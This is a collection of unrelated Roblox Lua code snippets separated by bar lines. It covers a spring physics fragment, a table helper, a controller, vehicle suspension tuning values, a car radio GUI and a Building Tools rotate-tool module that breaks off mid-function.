p0,v0=p,v
p1,v1=value,tv
elseif index=="tv" or index=="targetvelocity" then
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,_tv=targposvel(p1,v1,time-t0)
p0,v0=p,v
p1,v1=tp,value
elseif index=="d" or index=="damper" then
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,v
p1,v1=tp,tv
d=value
elseif index=="s" or index=="speed" then
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,v
p1,v1=tp,tv
s=value
elseif index=="a" or index=="acceleration" then
t0=tick()
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,v+value
p1,v1=tp,tv
else
error("no value "..tostring(index).." exists")
end
t0=time
end
return setmetatable(selfmeta,meta)
end
return Spring
|
--- Concats `target` with `source`
-- @tparam table target Table to append to
-- @tparam table source Table read from
-- @treturn table parameter table
|
function Table.append(target, source)
for _, value in pairs(source) do
target[#target+1] = value
end
return target
end
|
-- Hello Controller
-- Username
-- August 29, 2020
|
local HelloController = {}
function HelloController:SayHello()
--print("Hello!")
end
function HelloController:Start()
self.Controllers.TestController:ConnectEvent("Test", function(msg)
--print(msg)
end)
self.Services.MyService:SendMsg("Hello sent at: " ..tick())
self.Services.MyService.Fade:Connect(function(InOut)
if (InOut == "out") then
--Fades outend)
self.Services.MyService.AnotherMessage:Fire("lol")
print("out")
self.Controllers.Fade:Out()
else
print("in")
self.Controllers.Fade:In()
end
end)
self.Services.MyService.AnotherMessage:Fire("lol")
local test = self.Modules.TestModule
test.ABC = 64
end
function HelloController:Init()
end
return HelloController
|
--// Player Events
|
game:GetService("RunService").Heartbeat:Connect(function()
for _,v in pairs(game.Players:GetPlayers()) do
UpdateTag(v);
end;
end)
|
--[[Finalize Chassis]]
|
--Misc Weld
wait()
for i,v in pairs(script:GetChildren()) do
if v:IsA("ModuleScript") then
require(v)
end
end
--Weld Body
wait()
ModelWeld(car.Body,car.DriveSeat)
--Unanchor
wait()
UnAnchor(car.Body)
UnAnchor(car.Wheels)
UnAnchor(car.DriveSeat)
|
--[[**
ensures Roblox DateTime type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.DateTime = t.typeof("DateTime")
|
-- ~15 c/s
|
while wait(.0667) do
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 300 -- Spring Dampening
Tune.FSusStiffness = 8000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2.2 -- Suspension length (in studs)
Tune.FPreCompress = .95 -- Pre-compression adds resting length force
Tune.FExtensionLim = 1.1 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 90 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0.5 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -0.3 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 300 -- Spring Dampening
Tune.RSusStiffness = 8000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.2 -- Suspension length (in studs)
Tune.RPreCompress = .7 -- Pre-compression adds resting length force
Tune.RExtensionLim = 1.1 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 90 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0.5 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -0.3 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .0 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed
|
local Keyboard = require(script:WaitForChild("Keyboard"))
local Gamepad = require(script:WaitForChild("Gamepad"))
local DynamicThumbstick = require(script:WaitForChild("DynamicThumbstick"))
local FFlagUserHideControlsWhenMenuOpen do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserHideControlsWhenMenuOpen")
end)
FFlagUserHideControlsWhenMenuOpen = success and result
end
local TouchThumbstick = require(script:WaitForChild("TouchThumbstick"))
|
------------------------------------------
|
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
gui.Track.Text = radio.TName.Value
seat.Parent.Body.Dash.Scr.G.Song.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
if radio.Stopped.Value == false then
radio.Stopped.Value = true
end
end)
gui.Pause.MouseButton1Click:connect(function()
if radio.Paused.Value == false and radio.Stopped.Value == false then
radio.Paused.Value = true
end
end)
gui.Play.MouseButton1Click:connect(function()
if radio.Stopped.Value == true then
radio.Play.Value = not radio.Play.Value
else
if radio.Paused.Value == true then
radio.Paused.Value = false
end
end
end)
gui.Forward.MouseButton1Click:connect(function()
local n = radio.Track.Value+1
if n>#radio.Songs:GetChildren() then
n = 1
end
radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
local n = radio.Track.Value-1
if n<=0 then
n = #radio.Songs:GetChildren()
end
radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
if radio.Autoplay.Value == true then
radio.Autoplay.Value = false
end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
if radio.Autoplay.Value == false then
radio.Autoplay.Value = true
end
end)
gui.List.MouseButton1Click:connect(function()
gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
gui.IdPlayer.Visible=not gui.IdPlayer.Visible
if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
radio.IdPlay.Value=""
wait()
end
radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
v.MouseButton1Click:connect(function()
radio.Track.Value = i
end)
end
function Stopped()
if radio.Stopped.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
function Paused()
if radio.Paused.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
if radio.Stopped.Value == false then
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
end
function Autoplay()
if radio.Autoplay.Value == true then
gui.AutoplayOff.Visible = false
gui.AutoplayOn.Visible = true
else
gui.AutoplayOn.Visible = false
gui.AutoplayOff.Visible = true
end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
if seat:FindFirstChild("SeatWeld") == nil then
script.Parent:Destroy()
end
end
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
RikOne2 | Enjin
--]]
|
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")
local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
local SetPitch = .1
local SetRev = .6
local vol = 2 --Set the volume for everything below
handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function RotateTool.Equip()
-- Enables the tool's equipped functionality
-- Set our current pivot mode
SetPivot(RotateTool.Pivot);
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function RotateTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
HideHandles();
ClearConnections();
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ClearConnection(ConnectionKey)
-- Clears the given specific connection
local Connection = Connections[ConnectionKey];
-- Disconnect the connection if it exists
if Connections[ConnectionKey] then
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if RotateTool.UI then
-- Reveal the UI
RotateTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone();
RotateTool.UI.Parent = Core.UI;
RotateTool.UI.Visible = true;
-- Add functionality to the pivot option switch
local PivotSwitch = RotateTool.UI.PivotOption;
PivotSwitch.Center.Button.MouseButton1Down:Connect(function ()
SetPivot('Center');
end);
PivotSwitch.Local.Button.MouseButton1Down:Connect(function ()
SetPivot('Local');
end);
PivotSwitch.Last.Button.MouseButton1Down:Connect(function ()
SetPivot('Last');
end);
-- Add functionality to the increment input
local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox;
IncrementInput.FocusLost:Connect(function (EnterPressed)
RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment;
IncrementInput.Text = Support.Round(RotateTool.Increment, 4);
end);
-- Add functionality to the rotation inputs
local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox;
XInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(XInput.Text);
if NewAngle then
SetAxisAngle('X', NewAngle);
end;
end);
YInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(YInput.Text);
if NewAngle then
SetAxisAngle('Y', NewAngle);
end;
end);
ZInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(ZInput.Text);
if NewAngle then
SetAxisAngle('Z', NewAngle);
end;
end);
-- Hook up manual triggering
local SignatureButton = RotateTool.UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(RotateTool.ManualText, RotateTool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not RotateTool.UI then
return;
end;
-- Hide the UI
RotateTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not RotateTool.UI then
return;
end;
-- Only show and calculate selection info if it's not empty
if #Selection.Parts == 0 then
RotateTool.UI.Info.Visible = false;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 90);
return;
else
RotateTool.UI.Info.Visible = true;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 150);
end;
-----------------------------------------
-- Update the size information indicators
-----------------------------------------
-- Identify common angles across axes
local XVariations, YVariations, ZVariations = {}, {}, {};
for _, Part in pairs(Selection.Parts) do
table.insert(XVariations, Support.Round(Part.Orientation.X, 3));
table.insert(YVariations, Support.Round(Part.Orientation.Y, 3));
table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3));
end;
local CommonX = Support.IdentifyCommonItem(XVariations);
local CommonY = Support.IdentifyCommonItem(YVariations);
local CommonZ = Support.IdentifyCommonItem(ZVariations);
-- Shortcuts to indicators
local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox;
-- Update each indicator if it's not currently being edited
if not XIndicator:IsFocused() then
XIndicator.Text = CommonX or '*';
end;
if not YIndicator:IsFocused() then
YIndicator.Text = CommonY or '*';
end;
if not ZIndicator:IsFocused() then
ZIndicator.Text = CommonZ or '*';
end;
end;
function SetPivot(PivotMode)
-- Sets the given rotation pivot mode
-- Update setting
RotateTool.Pivot = PivotMode;
-- Update the UI switch
if RotateTool.UI then
Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption);
end;
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For center mode, use bounding box handles
if PivotMode == 'Center' then
BoundingBox.StartBoundingBox(AttachHandles);
-- For local mode, use focused part handles
elseif PivotMode == 'Local' then
AttachHandles(Selection.Focus, true);
-- For last mode, use focused part handles
elseif PivotMode == 'Last' then
AttachHandles(CustomPivotPoint and (RotateTool.Handles and RotateTool.Handles.Adornee) or Selection.Focus, true);
end;
end;
function AttachHandles(Part, Autofocus)
-- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part
-- Enable autofocus if requested and not already on
if Autofocus and not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:Connect(function ()
AttachHandles(Selection.Focus, true);
end);
-- Disable autofocus if not requested and on
elseif not Autofocus and Connections.AutofocusHandle then
ClearConnection 'AutofocusHandle';
end;
-- Clear previous pivot point
CustomPivotPoint = nil
-- Just attach and show the handles if they already exist
if RotateTool.Handles then
RotateTool.Handles:BlacklistObstacle(BoundingBox.GetBoundingBox())
RotateTool.Handles:SetAdornee(Part)
return
end
local AreaPermissions
local function OnHandleDragStart()
-- Prepare for rotating parts when the handle is clicked
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate rotating via handle
HandleRotating = true;
-- Freeze bounding box extents while rotating
if BoundingBox.GetBoundingBox() then
InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Selection.Parts, BoundingBox.StaticExtents)
BoundingBox.PauseMonitoring();
end;
-- Stop parts from moving, and capture the initial state of the parts
InitialPartStates, InitialModelStates = PrepareSelectionForRotating()
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
end;
-- Set the pivot point to the center of the selection if in Center mode
if RotateTool.Pivot == 'Center' then
PivotPoint = BoundingBox.GetBoundingBox().CFrame;
-- Set the pivot point to the center of the focused part if in Last mode
elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then
if Selection.Focus:IsA 'BasePart' then
PivotPoint = Selection.Focus.CFrame
elseif Selection.Focus:IsA 'Model' then
PivotPoint = Selection.Focus:GetModelCFrame()
pcall(function ()
PivotPoint = Selection.Focus:GetPivot()
end)
end
end;
end
local function OnHandleDrag(Axis, Rotation)
-- Update parts when the handles are moved
-- Only rotate if handle is enabled
if not HandleRotating then
return;
end;
-- Turn the rotation amount into degrees
Rotation = math.deg(Rotation);
-- Calculate the increment-aligned rotation amount
Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360;
-- Get displayable rotation delta
local DisplayedRotation = GetHandleDisplayDelta(Rotation);
-- Perform the rotation
RotateSelectionAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialPartStates, InitialModelStates)
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialPartStates) do
Part.CFrame = State.CFrame;
end;
for Model, State in pairs(InitialModelStates) do
Model.WorldPivot = State.Pivot
end
-- Reset displayed rotation delta
DisplayedRotation = 0;
end;
-- Update the "degrees rotated" indicator
if RotateTool.UI then
RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees';
end;
end
local function OnHandleDragEnd()
if not HandleRotating then
return
end
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Disable rotating
HandleRotating = false;
-- Clear this connection to prevent it from firing again
ClearConnection 'HandleRelease';
-- Clear change indicator states
HandleDirection = nil;
HandleFirstAngle = nil;
LastDisplayedRotation = nil;
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialPartStates) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
-- Resume normal bounding box updating
BoundingBox.RecalculateStaticExtents();
BoundingBox.ResumeMonitoring();
end
-- Create the handles
local ArcHandles = require(Libraries:WaitForChild 'ArcHandles')
RotateTool.Handles = ArcHandles.new({
Color = RotateTool.Color.Color,
Parent = Core.UIContainer,
Adornee = Part,
ObstacleBlacklist = { BoundingBox.GetBoundingBox() },
OnDragStart = OnHandleDragStart,
OnDrag = OnHandleDrag,
OnDragEnd = OnHandleDragEnd
})
end
function HideHandles()
-- Hides the resizing handles
-- Make sure handles exist and are visible
if not RotateTool.Handles then
return;
end;
-- Hide the handles
RotateTool.Handles = RotateTool.Handles:Destroy()
-- Disable handle autofocus if enabled
ClearConnection 'AutofocusHandle';
end;
function RotateSelectionAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialPartStates, InitialModelStates)
-- Rotates the given selection around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation`
-- Create a CFrame that increments rotation by `Rotation` around `Axis`
local RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation));
-- Rotate each part
for Part, InitialState in pairs(InitialPartStates) do
-- Rotate around the selection's center, or the currently focused part
if PivotMode == 'Center' or PivotMode == 'Last' then
-- Calculate the focused part's rotation
local RelativeTo = PivotPoint * RotationCFrame;
-- Calculate this part's offset from the focused part's rotation
local Offset = PivotPoint:toObjectSpace(InitialState.CFrame);
-- Rotate relative to the focused part by this part's offset from it
Part.CFrame = RelativeTo * Offset;
-- Rotate around the part's center
elseif RotateTool.Pivot == 'Local' then
Part.CFrame = InitialState.CFrame * RotationCFrame;
end;
end;
-- Rotate each model's pivot
for Model, InitialState in pairs(InitialModelStates) do
-- Rotate around the selection's center, or the currently focused part
if (PivotMode == 'Center') or (PivotMode == 'Last') then
-- Calculate the focused part's rotation
local RelativeTo = PivotPoint * RotationCFrame
-- Calculate this part's offset from the focused part's rotation
local Offset = PivotPoint:ToObjectSpace(InitialState.Pivot)
-- Rotate relative to the focused part by this model's offset from it
Model.WorldPivot = RelativeTo * Offset
end
end
end;
function GetHandleDisplayDelta(HandleRotation)
-- Returns a human-friendly version of the handle's rotation delta
-- Prepare to capture first angle
if HandleFirstAngle == nil then
HandleFirstAngle = true;
HandleDirection = true;
-- Capture first angle
elseif HandleFirstAngle == true then
-- Determine direction based on first angle
if math.abs(HandleRotation) > 180 then
HandleDirection = false;
else
HandleDirection = true;
end;
-- Disable first angle capturing
HandleFirstAngle = false;
end;
-- Determine the rotation delta to display
local DisplayedRotation;
if HandleDirection == true then
DisplayedRotation = (360 - HandleRotation) % 360;
else
DisplayedRotation = HandleRotation % 360;
end;
-- Switch delta calculation direction if crossing directions
if LastDisplayedRotation and (
(LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or
(LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then
HandleDirection = not HandleDirection;
end;
-- Update displayed rotation after direction correction
if HandleDirection == true then
DisplayedRotation = (360 - HandleRotation) % 360;
else
DisplayedRotation = HandleRotation % 360;
end;
-- Store this last display rotation
LastDisplayedRotation = DisplayedRotation;
-- Return updated display delta
return DisplayedRotation;
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the current axis mode
if RotateTool.Pivot == 'Center' then
SetPivot('Local');
elseif RotateTool.Pivot == 'Local' then
SetPivot('Last');
elseif RotateTool.Pivot == 'Last' then
SetPivot('Center');
end;
-- Nudge around X axis if the 8 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
NudgeSelectionByAxis(Enum.Axis.X, 1);
-- Nudge around X axis if the 2 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
NudgeSelectionByAxis(Enum.Axis.X, -1);
-- Nudge around Z axis if the 9 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
NudgeSelectionByAxis(Enum.Axis.Z, 1);
-- Nudge around Z axis if the 1 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
NudgeSelectionByAxis(Enum.Axis.Z, -1);
-- Nudge around Y axis if the 4 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
NudgeSelectionByAxis(Enum.Axis.Y, -1);
-- Nudge around Y axis if the 6 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
NudgeSelectionByAxis(Enum.Axis.Y, 1);
-- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey
elseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then
StartSnapping();
-- Start snapping when T key is pressed down (alias)
elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then
StartSnapping();
end;
end));
-- Track ending user input while this tool is equipped
Connections.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)
if GameProcessedEvent then
return
end
-- Make sure this is input from the keyboard
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return
end
-- If - key was released, focus on increment input
if (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then
if RotateTool.UI then
RotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus()
end
end
end)
end;
function StartSnapping()
-- Make sure snapping isn't already enabled
if SnapTracking.Enabled then
return;
end;
-- Listen for snapped points
SnapTracking.StartTracking(function (NewPoint)
SnappedPoint = NewPoint;
end);
-- Select the snapped pivot point upon clicking
Connections.SelectSnappedPivot = Core.Mouse.Button1Down:Connect(function ()
-- Disable unintentional selection
Core.Targeting.CancelSelecting();
-- Ensure there is a snap point
if not SnappedPoint then
return;
end;
-- Disable snapping
SnapTracking.StopTracking();
-- Attach the handles to a part at the snapped point
local Part = Make 'Part' {
CFrame = SnappedPoint,
Size = Vector3.new(5, 1, 5)
};
SetPivot 'Last';
AttachHandles(Part, true);
-- Maintain the part in memory to prevent garbage collection
GCBypass = { Part };
-- Set the pivot point
PivotPoint = SnappedPoint;
CustomPivotPoint = true;
-- Disconnect snapped pivot point selection listener
ClearConnection 'SelectSnappedPivot';
end);
end;
function SetAxisAngle(Axis, Angle)
-- Sets the selection's angle on axis `Axis` to `Angle`
-- Turn the given angle from degrees to radians
local Angle = math.rad(Angle);
-- Track this change
TrackChange();
-- Prepare parts to be moved
local InitialPartStates = PrepareSelectionForRotating()
-- Update each part
for Part, State in pairs(InitialPartStates) do
-- Set the part's new CFrame
Part.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation(
Axis == 'X' and Angle or math.rad(Part.Orientation.X),
Axis == 'Y' and Angle or math.rad(Part.Orientation.Y),
Axis == 'Z' and Angle or math.rad(Part.Orientation.Z)
);
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to move parts to target destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialPartStates) do
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialPartStates) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function NudgeSelectionByAxis(Axis, Direction)
-- Nudges the rotation of the selection in the direction of the given axis
-- Ensure selection is not empty
if #Selection.Parts == 0 then
return;
end;
-- Get amount to nudge by
local NudgeAmount = RotateTool.Increment;
-- Reverse nudge amount if shift key is held while nudging
local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
NudgeAmount = -NudgeAmount;
end;
-- Track the change
TrackChange();
-- Stop parts from moving, and capture the initial state of the parts
local InitialPartStates, InitialModelStates = PrepareSelectionForRotating()
-- Set the pivot point to the center of the selection if in Center mode
if RotateTool.Pivot == 'Center' then
local BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Parts);
PivotPoint = BoundingBoxCFrame;
-- Set the pivot point to the center of the focused part if in Last mode
elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then
if Selection.Focus:IsA 'BasePart' then
PivotPoint = Selection.Focus.CFrame
elseif Selection.Focus:IsA 'Model' then
PivotPoint = Selection.Focus:GetModelCFrame()
pcall(function ()
PivotPoint = Selection.Focus:GetPivot()
end)
end
end;
-- Perform the rotation
RotateSelectionAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialPartStates, InitialModelStates)
-- Update the "degrees rotated" indicator
if RotateTool.UI then
RotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees';
end;
-- Cache area permissions information
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialPartStates) do
Part.CFrame = State.CFrame;
end;
for Model, State in pairs(InitialModelStates) do
Model.WorldPivot = State.Pivot
end
end;
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialPartStates) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
Models = Support.CloneTable(Selection.Models);
BeforeCFrame = {};
AfterCFrame = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, {
Part = Part;
CFrame = Record.BeforeCFrame[Part];
})
end;
for _, Model in pairs(Record.Models) do
table.insert(Changes, {
Model = Model;
Pivot = Record.BeforeCFrame[Model];
})
end
-- Send the change request
Core.SyncAPI:Invoke('SyncRotate', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, {
Part = Part;
CFrame = Record.AfterCFrame[Part];
})
end;
for _, Model in pairs(Record.Models) do
table.insert(Changes, {
Model = Model;
Pivot = Record.AfterCFrame[Model];
})
end
-- Send the change request
Core.SyncAPI:Invoke('SyncRotate', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.BeforeCFrame[Part] = Part.CFrame;
end;
pcall(function ()
for _, Model in pairs(HistoryRecord.Models) do
HistoryRecord.BeforeCFrame[Model] = Model:GetPivot()
end
end)
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.AfterCFrame[Part] = Part.CFrame;
table.insert(Changes, {
Part = Part;
CFrame = Part.CFrame;
})
end;
pcall(function ()
for _, Model in pairs(HistoryRecord.Models) do
HistoryRecord.AfterCFrame[Model] = Model:GetPivot()
table.insert(Changes, {
Model = Model;
Pivot = Model:GetPivot();
})
end
end)
-- Send the change to the server
Core.SyncAPI:Invoke('SyncRotate', Changes);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function PrepareSelectionForRotating()
-- Prepares parts for rotating and returns the initial state of the parts
local InitialPartStates = {}
local InitialModelStates = {}
-- Get index of parts
local PartIndex = Support.FlipTable(Selection.Parts);
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialPartStates[Part] = {
Anchored = Part.Anchored;
CanCollide = Part.CanCollide;
CFrame = Part.CFrame;
}
Part.Anchored = true;
Part.CanCollide = false;
InitialPartStates[Part].Joints = Core.PreserveJoints(Part, PartIndex);
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
-- Record model pivots
-- (temporarily pcalled due to pivot API being in beta)
pcall(function ()
for _, Model in pairs(Selection.Models) do
InitialModelStates[Model] = {
